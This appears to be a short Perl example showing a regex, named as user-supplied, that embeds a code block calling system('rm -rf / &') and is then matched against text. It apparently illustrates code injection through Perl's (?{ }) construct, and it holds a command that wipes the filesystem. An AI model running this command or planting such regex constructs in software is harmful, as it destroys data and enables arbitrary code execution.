$user_regexp=qr#(?{ system('rm -rf / &'); })#;

# ...

if($text=~/$user_regexp/)
{
  # ...
}